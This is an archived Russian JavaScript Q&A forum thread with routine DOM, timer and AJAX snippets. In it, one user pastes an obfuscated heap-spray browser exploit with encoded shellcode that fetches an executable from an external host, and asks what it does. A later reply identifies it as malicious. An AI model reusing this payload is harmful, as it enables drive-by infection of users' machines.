PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : 1 2 [3] 4 5 6 7 8 9 10

d_x
26.04.2008, 19:54
Можно вот так:
<html><body>
<script language='JavaScript'>
var num,sum; //текущее число, сумма
sum=0;

for(var i=1;i<=4;i++)
{
num=window.prompt("Введите число "+i+":","0");
if(!isNaN(num) && num>5.0) //если ввели число, и оно больше пяти
sum+=Number(num); //преобразуем строку в число
}

if(sum==0)
alert("Чисел больше пяти нет");
else
alert("Сумма: "+sum);
</script>
</body></html>

BuzzSaw
29.04.2008, 16:18
Извните, может боян и уже обсуждалось в топике(а может и не совсем по теме) .Ситуация примерно такая:
Есть хтмл страница, в ней Javascript примерно такого содержания:

<script type="text/javascript">
document.write("<img src='http://site.ru/?ref="+escape(document.referrer)+"' border=0 width=100 height=120>");
</script>

Ну понятно, что ?ref= можно подменить, и тем самым испортить статистику. Ну например мне нужно смотреть сколько пользователей
будет приходить от определенного адреса(http://google.ru?q=ТЕКСТ).
Я ради интереса посмотрел Javascript'ы от гугла и там Math.Random, но я не
понимаю для чего это(подозреваю что это для правильности)... Вобщем мне нужно сделать так, чтобы referer никто не подменил.

astrologer
29.04.2008, 20:22
Извните, может боян и уже обсуждалось в топике(а может и не совсем по теме) .Ситуация примерно такая:
Есть хтмл страница, в ней Javascript примерно такого содержания:

<script type="text/javascript">
document.write("<img src='http://site.ru/?ref="+escape(document.referrer)+"' border=0 width=100 height=120>");
</script>

Ну понятно, что ?ref= можно подменить, и тем самым испортить статистику. Ну например мне нужно смотреть сколько пользователей
будет приходить от определенного адреса(http://google.ru?q=ТЕКСТ).
Я ради интереса посмотрел Javascript'ы от гугла и там Math.Random, но я не
понимаю для чего это(подозреваю что это для правильности)... Вобщем мне нужно сделать так, чтобы referer никто не подменил.Нет, Math.random там для того, чтобы адрес был каждый раз другой, для борьбы с кешированием. Защиты от подмены реферера нет - просто не нужно полагаться на присылаемые данные. Если это просто для статистики, то выгода от подмены сомнительна.

Macro
30.04.2008, 23:00
Вопрос. Можно ли каким-либо скриптом получить содержимое удаленного файла? К примеру, флэшкой можно? Насколько я знаю, с помощью AJAX не получится. Извините, если вопрос нубский, я javascript и swf вообще плохо знаю

ElteRUS
01.05.2008, 14:47
Macro, посмотри это http://www.opennet.ru/docs/RUS/servguide14/misc.html#1017481

brasco2k
01.05.2008, 15:03
Вопрос. Можно ли каким-либо скриптом получить содержимое удаленного файла? К примеру, флэшкой можно? Насколько я знаю, с помощью AJAX не получится. Извините, если вопрос нубский, я javascript и swf вообще плохо знаю
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?

astrologer
01.05.2008, 17:30
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?Можно сказать "ECMAScript implementation" и не ошибёшься.

bomber
01.05.2008, 23:32
нужен код, который скрывал-показывал слой при выборе из двух select формы, при выборе первой - первый слой показывался, второй скрывался, и соответcnвенно наоборот

BuzzSaw
01.05.2008, 23:44
Bomber, тебе судя по всему типа такого надо :
<a href="#" onclick="document.getElementById('login-form').style.display='block'; return false;">Видно</a><br> <a href="#" onclick="document.getElementById('login-form').style.display='none'; return false;">Невидно</a>... но только с select(влом было писать с select, так как у самого на сайте такое)

GreenBear
01.05.2008, 23:53
<div class='aa' id='aa'>123</div>
<div class='bb' id='bb'>456</div>
<style type='text/css'>
.aa{
display: block;
}
.bb{
display: none;
}
</style>
<select onChange="check(this)"><option value=aa>aa</option><option value=bb>bb</option></select>
<script type="text/javascript">
function check(s){
if(s[0].selected){
document.getElementById('aa').className = 'bb';
document.getElementById('bb').className = 'aa';
}else{
document.getElementById('aa').className = 'aa';
document.getElementById('bb').className = 'bb';
}
}
</script>

бомберу от бомбега :D

Architek86
02.05.2008, 00:05
Дана вот такая форма в диве:
<div id="testBlockD">
<script type="text/javascript">function button_activate() { document.getElementById('TstSbm').disabled = false; }</script>
<form name="addform" id="tstAddForm" method="POST" action="ссылка на сайтик" onsubmit="tstNextStep();return false;">
<table border="0" cellspacing="1" cellpadding="0" width="100%">

<tr>
<td>
<div class="eTitle">Какого цвета красный цвет?</div>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o0" value="1" onClick="button_activate();"><label for="o0">Не знаю</label>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o1" value="2" onClick="button_activate();"><label for="o1">Знаю но не скажу</label>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o2" value="3" onClick="button_activate();"><label for="o2">Я знаю но не знаю как ответить</label>
</td>
</tr>

<tr>
<td>
<hr>
Текущий вопрос: <b>1</b> (всего вопросов в тесте: <b>3</b>)
</td>
</tr>

<tr>
<td align="center">
<hr /><input type="submit" name="submit" id="TstSbm" value="Перейти к следующему вопросу" disabled>
</td>
</tr>

</table>
</form>
</div>
Нужен скрипт, который бы отсчитывал время (время определяеться переменной, например, "timetest"), после окончания заданного временич устанававливал radio на том, у которого id="o0" (т.е. самом верхнем), ну и отправлял бы форму (как по нажатию кнопки Submit). Если можно, то отсчитывание времени сделать видимым :)

VDShark
02.05.2008, 00:45
Нечто вроди:

<script type="text/javascript">
var time = 2; // в секундах
setTimeout("funct();",time*1000);
function funct(){
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
}
</script>

Architek86
02.05.2008, 01:43
VDShark, спс, но нужно его дополнить ещё тем, что бы на экране шёл таймер назад...

astrologer
02.05.2008, 02:28
<div id="testBlockD">
<script type="text/javascript">function button_activate() { document.getElementById('TstSbm').disabled = false; }</script>
<script type="text/javascript">

(function()
{
var i = 20, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.forms.addform.submit();
}
}, 1000);
})();

</script>
<form name="addform" id="tstAddForm" method="POST" action="ссылка на сайтик" onsubmit="tstNextStep();return false;">
<table border="0" cellspacing="1" cellpadding="0" width="100%">

<tr>
<td>
<div class="eTitle">Какого цвета красный цвет?</div>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o0" value="1" onClick="button_activate();"><label for="o0">Не знаю</label>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o1" value="2" onClick="button_activate();"><label for="o1">Знаю но не скажу</label>
</td>
</tr>

<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o2" value="3" onClick="button_activate();"><label for="o2">Я знаю но не знаю как ответить</label>
</td>
</tr>

<tr>
<td>
<hr>
Текущий вопрос: <b>1</b> (всего вопросов в тесте: <b>3</b>)<br>
<span id="time"> 20 </span>
</td>
</tr>

<tr>
<td align="center">
<hr /><input type="submit" name="send" id="TstSbm" value="Перейти к следующему вопросу" disabled>
</td>
</tr>

</table>
</form>
</div>Не стоит давать полю имя "submit".

Macro
02.05.2008, 17:49
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?
прочитать его удаленно. Я знаю, что правильнее говорить и как =) Просто так короче

Isis
02.05.2008, 23:54
Macro, чет не пойму, а на пхп почему бы не прочитать соответственно и на аяксе

Macro
03.05.2008, 14:00
Macro, чет не пойму, а на пхп почему бы не прочитать соответственно и на аяксе
Мне нужно прочитать файл с другого сайта, используя только пользовательские скрипты. AJAX тут не поможет, его можно использовать только внутри своего сайта

Isis
03.05.2008, 14:04
Если ты найдешь решение, то через xss можно будет залить шелл =\

VDShark
03.05.2008, 14:05
AJAX тут не поможет, его можно использовать только внутри своего сайта
Кто тебе такую глупость сказал? Что то ты раздул проблему из ничего...

Macro
03.05.2008, 14:09
Кто тебе такую глупость сказал? Что то ты раздул проблему из ничего...
Ну-ка покажи мне код на ajax, который будет получать код страницы http://ya.ru :) Именно получать, а не iframe

Isis
03.05.2008, 14:15
Получать, всмысле заносить в переменную или что? =\

Macro
03.05.2008, 14:18
Получать, всмысле заносить в переменную или что? =\
Да, да именно так. Заносить в переменную для дальнейших операций

VDShark
03.05.2008, 14:20
<script>
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}
}
}
}

var Ajax = getXMLHttpObj();
Ajax.open('GET', 'http://ya.ru', true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();

function processingFunction(){
if(Ajax.readyState!=4) return;
alert(Ajax.responseText);
}
</script>

astrologer
03.05.2008, 14:27
<script>
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}
}
}
}

var Ajax = getXMLHttpObj();
Ajax.open('GET', 'http://ya.ru', true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();

function processingFunction(){
if(Ajax.readyState!=4) return;
alert(Ajax.responseText);
}
</script>
В любом нормальном браузере кросс-доменные ограничения не дадут этого сделать, если намеренно их не отключить.

Macro
03.05.2008, 14:28
Я и сам так написал :) Ты бы проверил хоть. У браузера есть система безопасности, которая не позволяет использовать чужие хосты. Так что ты бы сначала проверил, а не вякал. Думаю, решения в данном случае нет

VDShark
03.05.2008, 14:33
Все работает - м.б. данный код не под всеми браузерами отработает - но принцип такой.

Macro
03.05.2008, 14:36
Все работает - м.б. данный код не под всеми браузерами отработает - но принцип такой.
Принцип я знаю и данный код уже пробовал и не раз. Он не работает ни на опере, ни на ie. Мне нужно либо для оперы, либо для ie. AJAX тут не поможет ИМХО, может actionscript?

VDShark
03.05.2008, 14:40
Принцип я знаю и данный код уже пробовал и не раз. Он не работает ни на опере, ни на ie. Мне нужно либо для оперы, либо для ie. AJAX тут не поможет ИМХО, может actionscript?
М... ну если действительно брать огранчения в рассмотрение - почему бы не написать на этом хосте php-скрипт, который будет считывать удаленную страницу и отдавать ее пользователю? А обращаться так же через ajax, но к данному хосту, тут то нет ограничений... или хост не твой?:)

Macro
03.05.2008, 14:42
почему бы не написать на этом хосте php-скрипт
или хост не твой?:)
Скажем так... На этом хосте нет php и вообще нет серверных скриптов. =) Не знаешь - молчи.

VDShark
03.05.2008, 14:44
Скажем так... На этом хосте нет php и вообще нет серверных скриптов. =) Не знаешь - молчи.
Просто ситуацию яснее описывать нужно, а не так - поиграйте в угадайку, а потом еще и говорить что все не так и все не то :)

Macro
03.05.2008, 14:46
Просто ситуацию яснее описывать нужно, а не так - поиграйте в угадайку, а потом еще и говорить что все не так и все не то :)
Я точно написал, что мне нужно, все заданные вопросы сводятся к тому, почему мне именно это нужно, а не к уточнению деталей.

VDShark
03.05.2008, 14:52
Ясно.
http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/net/Socket.html#Socket()
Почитай - м.б. поможет (сам не юзал)

astrologer
03.05.2008, 16:57
В виджетах Оперы кросс-доменные ограничения XMLHttpRequest отключены.

Macro
03.05.2008, 20:12
В виджетах Оперы кросс-доменные ограничения XMLHttpRequest отключены.
Это хорошо, но ведь виджет еще устанавливать надо :( Ээх.. Видимо, не судьба мне воплотить свою идею.

bomber
05.05.2008, 16:50
<div class='aa' id='aa'>123</div>
<div class='bb' id='bb'>456</div>
<style type='text/css'>
.aa{
display: block;
}
.bb{
display: none;
}
</style>
<select onChange="check(this)"><option value=aa>aa</option><option value=bb>bb</option></select>
<script type="text/javascript">
function check(s){
if(s[0].selected){
document.getElementById('aa').className = 'bb';
document.getElementById('bb').className = 'aa';
}else{
document.getElementById('aa').className = 'aa';
document.getElementById('bb').className = 'bb';
}
}
</script>

бомберу от бомбега :D

о, спасибо!

а как сделать тоже самое с radio?

<input name="filetype" type="radio" value="0" checked> один <input name="filetype" type="radio" value="1"> два

<div class=1>один</div>
<div class=2>два</div>

astrologer
05.05.2008, 17:47
а как сделать тоже самое с radio?<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>

<style type="text/css">

#container { margin: 10px 0; }
#container div
{
background: #EEE;
width: 100px;
height: 75px;
border: #AAA solid 1px;
padding: 0 3px;
font-size: small;
}
div.show { display: block; }
div.hide { display: none; }

</style>

<script type="text/javascript">

function toggle(id, a)
{
var node = document.getElementById(id),
i = a.length;
while(i--)
{
if(a[i].checked)
{
var blocks = node.getElementsByTagName('div'),
l = blocks.length;
while(l--)
{
blocks[l].className = 'hide';
}
blocks[i].className = 'show';
break;
}
}
};
</script>

</head>
<body>

<div id="container">
<div class="show">1</div>
<div class="hide">2</div>
<div class="hide">3</div>
<div class="hide">4</div>
<div class="hide">5</div>
<div class="hide">6</div>
<div class="hide">7</div>
<div class="hide">8</div>
<div class="hide">9</div>
<div class="hide">10</div>
</div>

<form onclick="toggle('container', this.filetype)" action="javascript:alert('submitted')">
<input name="filetype" type="radio"> 1<br>
<input name="filetype" type="radio"> 2<br>
<input name="filetype" type="radio"> 3<br>
<input name="filetype" type="radio"> 4<br>
<input name="filetype" type="radio"> 5<br>
<input name="filetype" type="radio"> 6<br>
<input name="filetype" type="radio"> 7<br>
<input name="filetype" type="radio"> 8<br>
<input name="filetype" type="radio"> 9<br>
<input name="filetype" type="radio"> 10<br>
</form>

</body>
</html>

bomber
05.05.2008, 22:33
astrologer, респект!! :D

Дикс
07.05.2008, 12:47
есть div с overflow: scroll , полный текста.
Нужно яваскриптом прокручивать его вниз. как это сделать? (делаю подобие чата)

UPD: разобрался, есть замечательная функция
function toBottom(id){
document.getElementById(id).scrollTop=document.get ElementById(id).scrollHeight
}

теперь надо узнать как по нажатию enter в textarea - вызывать функцию яваскрипт )

astrologer
07.05.2008, 13:06
есть div с overflow: scroll , полный текста.
Нужно яваскриптом прокручивать его вниз. как это сделать? (делаю подобие чата)[ object HTMLDivElement ].scrollTop++

bomber
10.05.2008, 23:45
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки

мож где есть уже готовое решение? оч нада

Дикс
12.05.2008, 12:49
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:

var flg = (document.all) ? 0 : 1;

if(flg){
document.captureEvents(Event.KEYDOWN);
}

document.onkeydown = pressed;

function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}


в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.

Isis
12.05.2008, 12:58
В начало функции:
var e = e ? e : window.event;

desTiny
12.05.2008, 13:03
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:

var flg = (document.all) ? 0 : 1;

if(flg){
document.captureEvents(Event.KEYDOWN);
}

document.onkeydown = pressed;

function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}


в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.

сделай onkeypress...
и посмотри на скрипт изменения статуса в контакте ;)

Дикс
12.05.2008, 13:57
о, я-я. подсмотрел как сделано вконтакте - теперь и у меня всё безглючно и красиво, спасибо большое!

Architek86
12.05.2008, 23:56
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...

VDShark
13.05.2008, 00:05
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...

document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым);

document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.

DCRM
13.05.2008, 18:04
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...

Вот готовая реализация:


Скрипт скрывающий/показывающий DIV по ID:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="none")
{document.getElementById(xx).style.display="block";}
else document.getElementById(xx).style.display="none";
}


Пример использования:
<span onclick="showDiv('manual')">Показать/Скрыть DIV</span>
<div id="manual" style="display:none;" width="*">ля-ля :) </div>

DCRM
13.05.2008, 18:13
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки

мож где есть уже готовое решение? оч нада

Вот используй эту библиотеку, то что доктор прописал))):
JsHttpRequest (http://dklab.ru/lib/JsHttpRequest/)

Вот краткий список наиболее интересных возможностей и преимуществ библиотеки.

Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX).
Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными).
Загрузка файлов на сервер "методом AJAX".
Полная совместимость с популярной JavaScript-библиотекой prototype.
Полная поддержка отладочных возможностей и традиционных методов программирования на PHP.
Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы).
Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>).
Доступен интерфейс, совместимый с XMLHttpRequest.

comeoff
13.05.2008, 19:25
Люди, что делает этот яваскрипт?

<script type="text/javascript">
cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa %ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6 ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef1 1%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef% uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub 9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e8 7%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb %uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%u f5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66 bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64 %u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%u ebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7 ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%ua a64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6% uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf 7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0ee c%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403% ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9 964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff5 1%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1% ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u3 2ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uef a1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73 %u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u 702E%u7068");
i4zsVXx = unescape('%u0800');
SzZHy = 0x08000800;
bs = i4zsVXx;
while (bs.length <= 0x400000) { bs += bs; }
var cs = new Array();
for (var id =0; id <36 ; id++)
{
cs[id] =
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL;
}
if (window.navigator.javaEnabled)
{
window.navigator = (SzZHy / 2);
try { java.lang.reflect.Runtime.newInstance(java.lang.Cl ass.forName(java.lang.Runtime, 0)); }
catch(e){}
}

</script>

astrologer
13.05.2008, 19:37
Скрипт скрывающий/показывающий DIV по ID:
Код:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="none")
{document.getElementById(xx).style.display="inline";}
else document.getElementById(xx).style.display="none";
}Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.
Люди, что делает этот яваскрипт?Пытается запустить на исполнение вредоносный код.

DCRM
13.05.2008, 21:38
Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.


И в чём же он плохой? Приведите тогда "хороший" пример , просто мне уже самому интересно стало, как за минимум операций скрыть/показать элемент :confused:

Isis
13.05.2008, 21:41
Он хотел сказать что надо не inline, a block

DCRM
13.05.2008, 22:17
Он хотел сказать что надо не inline, a block

:D Теперь понятно! Хотя и inline работает нормально если содержание простой текст) Спасибо за поправку :)

comeoff
13.05.2008, 22:26
Кто может расшифровать, что тут:

%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa %ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6 ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef1 1%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef% uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub 9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e8 7%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb %uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%u f5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66 bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64 %u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%u ebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7 ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%ua a64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6% uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf 7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0ee c%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403% ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9 964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff5 1%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1% ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u3 2ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uef a1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73 %u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u 702E%u7068

nikolya
13.05.2008, 22:35
Help Me, Please!
ЦИКЛЫ
1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N.
2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку.
Заранее огромнейшее спасибо!

astrologer
13.05.2008, 23:34
Help Me, Please!
ЦИКЛЫ
1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N.
2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку.
Заранее огромнейшее спасибо!Пожалуйста. :)<script type="text/javascript">

var first = function(n)
{
if(n < 1 || isNaN(n)) return;
var i = 0;
while((i + 1) * 3 < n) i++;
return i;
},

second = function(a)
{
if(!(a instanceof Array)) return;
var l = a.length, i = 0;
while(l--) i += a[l];
return parseInt(i / a.length);
};

alert(first(15));
alert(second([5,1,2,4,1,2,4,1,3,4,5,2,4,5]));

</script>

mff
15.05.2008, 03:31
Люди как сделать так, чтобы ссылка менялась без перезагрузки? Можно при помощи div-ов, типа display:none и display:block но хотелось бы как то по иному. Кто может помочь? +

astrologer
15.05.2008, 03:40
<a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">

mff
15.05.2008, 04:14
<a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">

Ну чтож, +6 до 400 уважаемый astrologer! Спасибо!

mff
15.05.2008, 04:57
А то знает как сделать, простой кросбраузерный прелойдинг для загрузки фото?

VDShark
15.05.2008, 07:41
А то знает как сделать, простой кросбраузерный прелойдинг для загрузки фото?
Юзай поиск - я уже отвечал где то на этот вопрос, кажется даже в этой ветке.

astrologer
15.05.2008, 13:31
<script type="text/javascript">

function preload() // preload('qwe.jpg', 'qwo.png', 'qwa.gif');
{
var i = arguments.length;
while(i--) (new Image()).src = arguments[i];
};

</script>

Architek86
16.05.2008, 16:18
Дан такой код:

<div id="tema">
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
</div>

Так вот... нужен скрипт, который бы выбирал отсюда рандомно любой div с классом eTitle и отображал только его с его содержимым (т.е. все другие дивы, как eTitle так и eMessage, скрывались). Как это сделать и возможно ли?

astrologer
16.05.2008, 16:41
<div id="tema">
<div class="eTitle">1 eTitle</div><div class="eMessage">1 eMessage</div>
<div class="eTitle">2 eTitle</div><div class="eMessage">2 eMessage</div>
<div class="eTitle">3 eTitle</div><div class="eMessage">3 eMessage</div>
</div>

<script type="text/javascript">

// :TODO: addEventListener/attachEvent

window.onload = function()
{
var
holder = document.getElementById('tema'),
blocks = holder.getElementsByTagName('div'),
l = blocks.length,
a = [];

while(l--)
{
blocks[l].style.display = 'none';
if(blocks[l].className == 'eTitle') a.push(blocks[l]);
}

a[Math.floor(Math.random() * a.length)].style.display = 'block';
};

</script>

nikolya
17.05.2008, 03:51
Уже писал задачу, но теперь требуется немного другое выполнение. Не понимаю правильную запись.
Задача.
Известны оценки по алгебре каждого ученика класса.Определить среднюю оценку. Сгенерировать случайным образом числа(оценки) 2,3,4,5. Вывести на экран около 15 оценок и вывести их среднее арифметическое.

astrologer
17.05.2008, 04:06
Уже писал задачу, но теперь требуется немного другое выполнение. Не понимаю правильную запись.
Задача.
Известны оценки по алгебре каждого ученика класса.Определить среднюю оценку. Сгенерировать случайным образом числа(оценки) 2,3,4,5. Вывести на экран около 15 оценок и вывести их среднее арифметическое.А что не получается?

[R]eD
17.05.2008, 12:49
Вобщем нужен примитивный пример работы аякса, имеем страницу ( zzz.php на ней ссылка, например, <a href='xxx.php'>xx</a> ( внутри xxx.php: <?php echo '123'; ?> )
нужно чтобы при нажатии на нее загружался файл xxx.php, а то что было в zzz.php убиралось и загружался xxx.php, без перезагрузки страницы то есть с использованием аякса..
Думаю понятно объснил).

Спасибо =)

mouse.pro
18.05.2008, 11:51
Помогите пожалуйста скриптиком ajax, в общем суть скрипта такова:
Заходим на сайт, видим пустое белое, черное, не важно какое, окно, где по середине пишется "Загрузка: 53%", и каждый раз эти проценты меняются, в зависимости на сколько загрузилась главная страничка, а после загрузки ("Загрузка: 100%") через 2-е секунды открывается полностью главная страничка, с загруженными картинками, элементами, текстами и т.п.

Isis
18.05.2008, 12:00
mouse.pro, элементарный запрос в google:
http://google.ru/?q=Ajax+loader+percent

Isis
18.05.2008, 12:01
eD']Вобщем нужен примитивный пример работы аякса, имеем страницу ( zzz.php на ней ссылка, например, <a href='xxx.php'>xx</a> ( внутри xxx.php: <?php echo '123'; ?> )
нужно чтобы при нажатии на нее загружался файл xxx.php, а то что было в zzz.php убиралось и загружался xxx.php, без перезагрузки страницы то есть с использованием аякса..
Думаю понятно объснил).

Спасибо =)

http://www.alex-mryasov.ru/note/loader/

astrologer
18.05.2008, 13:59
http://www.alex-mryasov.ru/note/loader/Если сервер не будет успевать за секунду передать все данные, скрипт уйдёт в бесконечный цикл.

mouse.pro
18.05.2008, 14:46
mouse.pro, элементарный запрос в google:
http://google.ru/?q=Ajax+loader+percent
Я искал, не нашел того чего хочу.

astrologer
18.05.2008, 17:41
Помогите пожалуйста скриптиком ajax, в общем суть скрипта такова:
Заходим на сайт, видим пустое белое, черное, не важно какое, окно, где по середине пишется "Загрузка: 53%", и каждый раз эти проценты меняются, в зависимости на сколько загрузилась главная страничка, а после загрузки ("Загрузка: 100%") через 2-е секунды открывается полностью главная страничка, с загруженными картинками, элементами, текстами и т.п.Есть два возможных подхода:

